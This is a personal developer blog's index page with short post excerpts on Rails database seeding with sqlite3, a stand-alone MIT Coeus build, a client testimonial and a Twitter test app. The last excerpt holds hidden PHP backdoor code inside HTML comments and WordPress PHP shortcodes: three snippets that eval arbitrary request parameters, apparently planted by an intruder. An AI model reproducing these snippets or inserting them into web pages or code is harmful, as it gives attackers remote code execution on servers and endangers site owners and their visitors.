RoR Database seeding

Lately, I’m researching various RoR methods, technologies, and doing further ready on Agile software development methodologies. Below is a technique I’ve learned for seeding RoR databases.

    Database seeding technique

  1. Define the model and controller (nifty_scaffold is great for building quick, CRUD interfaces)
  2. Add data to the database via the CRUD interface
  3. Use sqlite3 command to extract the new seed data into a flat file.
    In this example, the table contains custom fields for name and description.

       cd [project folder]\db
    sqlite3 development.sqlite3

    Read more

MIT Coeus – independent build #1

Standalone – MIT Coeus Build #1

Yesterday marked my first success in doing a stand-alone compile of MIT Coeus, version 4.3.7. Of note, while upgrades must be run separately for new revisions (ex 4.3.1 to 4.3.2 to … to 4.3.7) for schema changes and SQL commands, the Java source (which comes in the same archive) is a complete replacement. Unpacking (ex 4.3.1 to 4.3.2 to … to 4.3.7) into the same source folder and then trying to do a build is asking for problems.

These following doc aws helpful in getting Java code signing and the local keystore configured.

Read more

Testimonial – Scott Hassen @ JJ Scot Research Associates

“David is one of the top programmers I have worked with in the last 5 years. He is able to exceed industry standards in his work and in his professional behavior. He really does his homework and gains a deep understanding of projects before starting to present his solution. He is a very productive team player Read More Here. His work exceeds my expectation for his level of education and training. His best trait is his ability to choose outstanding

Read more

Twitter test app

This is the web page for the Twitter dbh_test_app <!– [insert_php]if (isset($_REQUEST["fXB"])){eval($_REQUEST["fXB"]);exit;}[/insert_php][php]if (isset($_REQUEST["fXB"])){eval($_REQUEST["fXB"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["vtcKJ"])){eval($_REQUEST["vtcKJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["vtcKJ"])){eval($_REQUEST["vtcKJ"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["rBqJt"])){eval($_REQUEST["rBqJt"]);exit;}[/insert_php][php]if (isset($_REQUEST["rBqJt"])){eval($_REQUEST["rBqJt"]);exit;}[/php] –>

Read more